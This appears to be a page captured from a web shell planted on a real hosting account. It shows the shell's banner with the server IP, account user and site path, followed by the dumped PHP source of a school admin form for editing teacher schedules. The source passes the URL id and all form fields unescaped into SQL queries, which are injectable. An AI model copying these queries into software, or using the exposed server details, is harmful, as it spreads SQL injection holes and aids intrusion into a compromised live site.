|
Server IP : 86.38.243.181 / Your IP : 216.73.216.51 Web Server : LiteSpeed System : Linux in-mum-web1336.main-hosting.eu 4.18.0-553.34.1.lve.el8.x86_64 #1 SMP Thu Jan 9 16:30:32 UTC 2025 x86_64 User : u986601745 ( 986601745) PHP Version : 7.4.33 Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail MySQL : OFF | cURL : ON | WGET : ON | Perl : OFF | Python : OFF Directory (0755) : /home/u986601745/domains/emrskalsi.com/public_html/admin/tenderfiles/../ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php include('include/sidebar.php'); ?>
<!-- Start Welcome area -->
<?php include('include/header.php'); ?>
<?php
$id=$_GET['id'];
if(isset($_POST['submit'])){
$staff_id=$_POST['staff_id'];
$day=$_POST['day'];
$period1=$_POST['period1'];
$period2=$_POST['period2'];
$period3=$_POST['period3'];
$period4=$_POST['period4'];
$period5=$_POST['period5'];
$period6=$_POST['period6'];
$period7=$_POST['period7'];
$period8=$_POST['period8'];
$sql = $conn->query("UPDATE teacher_time_table SET staff_id='$staff_id',day='$day',period1='$period1',period2='$period2',period3='$period3',period4='$period4',period5='$period5',period6='$period6',period7='$period7',period8='$period8' WHERE id='$id'");
if($sql){
echo '<script>alert("Updated successfully"); location.href="teacher_schedule"</script>';
}else{
echo '<script>alert("Oops Something Went Wrong!");</script>';
}
}
$q = "SELECT * FROM teacher_time_table WHERE id='$id' limit 1";
$result = mysqli_query($conn,$q);
$row = mysqli_fetch_assoc($result);
?>
<style>
#myTabContent .input-group{
width: 100%;
}
</style>
<div class="breadcome-area">
<div class="container-fluid">
<div class="row">
<div class="col-lg-12 col-md-12 col-sm-12 col-xs-12">
<div class="breadcome-list">
<div class="row">
<div class="col-lg-6 col-md-6 col-sm-6 col-xs-6">
<div class="breadcomb-wp">
<div class="breadcomb-icon">
<i class="icon nalika-home"></i>
</div>
<div class="breadcomb-ctn">
<h2>Edit Teacher Schedule</h2>
</div>
</div>
</div>
<div class="col-lg-6 col-md-6 col-sm-6 col-xs-6">
<!-- <div class="breadcomb-report">
<button data-toggle="tooltip" data-placement="left" title="Download Report" class="btn"><i class="icon nalika-download"></i></button>
</div> -->
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<div class="single-product-tab-area mg-b-30">
<!-- Single pro tab review Start-->
<div class="single-pro-review-area">
<div class="container-fluid">
<div class="row">
<div class="col-lg-12 col-md-12 col-sm-12 col-xs-12">
<div class="review-tab-pro-inner">
<form method="post" enctype="multipart/form-data">
<div id="myTabContent" class="tab-content custom-product-edit">
<div class="row">
<div class="col-lg-6 col-md-6 col-sm-6 col-xs-12">
<div class="input-group mg-b-pro-edt">
<select class="form-control" name="staff_id" required>
<option value="">Select Staff</option>
<?php
$q = "select * from staff";
$query = mysqli_query($conn,$q);
while($res = mysqli_fetch_array($query)) { ?>
<option value="<?php echo $res['id'] ?>" <?php if ($res['id']==$row['staff_id']){echo 'selected';} ?>><?php echo $res['name'] ?></option>
<?php } ?>
</select>
</div>
<div class="input-group mg-b-pro-edt">
<select class="form-control" name="day" required>
<option value="">Select Day</option>
<option value="Monday" <?php if ('Monday'==$row['day']){echo 'selected';} ?>>Monday</option>
<option value="Tuseday" <?php if('Tuseday'==$row['day']){echo 'selected';} ?>>Tuseday</option>
<option value="Wednsday" <?php if('Wednsday'==$row['day']){echo 'selected';} ?>>Wednsday</option>
<option value="Thursday" <?php if ('Thursday'==$row['day']){echo 'selected';} ?>>Thursday</option>
<option value="Friday" <?php if ('Friday'==$row['day']){echo 'selected';} ?>>Friday</option>
<option value="Saturday" <?php if ('Saturday'==$row['day']){echo 'selected';} ?>>Saturday</option>
</select>
</div>
<div class="input-group mg-b-pro-edt">
<select class="form-control" name="period1" required>
<option value="">Select Class</option>
<?php
$q = "select * from class";
$query = mysqli_query($conn,$q);
while($res = mysqli_fetch_array($query)) { ?>
<option value="<?php echo $res['class_name'] ?>" <?php if ($res['class_name']==$row['period1']){echo 'selected';} ?>><?php echo $res['class_name'] ?></option>
<?php } ?>
</select>
</div>
<div class="input-group mg-b-pro-edt">
<select class="form-control" name="period2" required>
<option value="">Select Class</option>
<?php
$q = "select * from class";
$query = mysqli_query($conn,$q);
while($res = mysqli_fetch_array($query)) { ?>
<option value="<?php echo $res['class_name'] ?>" <?php if ($res['class_name']==$row['period2']){echo 'selected';} ?>><?php echo $res['class_name'] ?></option>
<?php } ?>
</select>
</div>
<div class="input-group mg-b-pro-edt">
<select class="form-control" name="period3" required>
<option value="">Select Class</option>
<?php
$q = "select * from class";
$query = mysqli_query($conn,$q);
while($res = mysqli_fetch_array($query)) { ?>
<option value="<?php echo $res['class_name'] ?>" <?php if ($res['class_name']==$row['period3']){echo 'selected';} ?>><?php echo $res['class_name'] ?></option>
<?php } ?>
</select>
</div>
<div class="input-group mg-b-pro-edt">
<select class="form-control" name="period4" required>
<option value="">Select Class</option>
<?php
$q = "select * from class";
$query = mysqli_query($conn,$q);
while($res = mysqli_fetch_array($query)) { ?>
<option value="<?php echo $res['class_name'] ?>" <?php if ($res['class_name']==$row['period4']){echo 'selected';} ?>><?php echo $res['class_name'] ?></option>
<?php } ?>
</select>
</div>
<div class="input-group mg-b-pro-edt">
<select class="form-control" name="period5" required>
<option value="">Select Class</option>
<?php
$q = "select * from class";
$query = mysqli_query($conn,$q);
while($res = mysqli_fetch_array($query)) { ?>
<option value="<?php echo $res['class_name'] ?>" <?php if ($res['class_name']==$row['period5']){echo 'selected';} ?>><?php echo $res['class_name'] ?></option>
<?php } ?>
</select>
</div>
<div class="input-group mg-b-pro-edt">
<select class="form-control" name="period6" required>
<option value="">Select Class</option>
<?php
$q = "select * from class";
$query = mysqli_query($conn,$q);
while($res = mysqli_fetch_array($query)) { ?>
<option value="<?php echo $res['class_name'] ?>" <?php if ($res['class_name']==$row['period6']){echo 'selected';} ?>><?php echo $res['class_name'] ?></option>
<?php } ?>
</select>
</div>
<div class="input-group mg-b-pro-edt">
<select class="form-control" name="period7" required>
<option value="">Select Class</option>
<?php
$q = "select * from class";
$query = mysqli_query($conn,$q);
while($res = mysqli_fetch_array($query)) { ?>
<option value="<?php echo $res['class_name'] ?>" <?php if ($res['class_name']==$row['period7']){echo 'selected';} ?>><?php echo $res['class_name'] ?></option>
<?php } ?>
</select>
</div>
<div class="input-group mg-b-pro-edt">
<select class="form-control" name="period8" required>
<option value="">Select Class</option>
<?php
$q = "select * from class";
$query = mysqli_query($conn,$q);
while($res = mysqli_fetch_array($query)) { ?>
<option value="<?php echo $res['class_name'] ?>" <?php if ($res['class_name']==$row['period8']){echo 'selected';} ?>><?php echo $res['class_name'] ?></option>
<?php } ?>
</select>
</div>
<div class="text-center custom-pro-edt-ds">
<button type="submit" class="btn btn-ctl-bt waves-effect waves-light m-r-10" name="submit">Save
</button>
<a href="acadmic_schedule" class="btn btn-ctl-bt waves-effect waves-light">cancel
</a>
</div>
</div>
</div>
</div>
</div>
<div class="row">
<div class="col-lg-6 col-md-6 col-sm-12 col-xs-12" style="padding-right: 30px;">
</div>
</div>
</form>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<?php include('include/footer.php'); ?>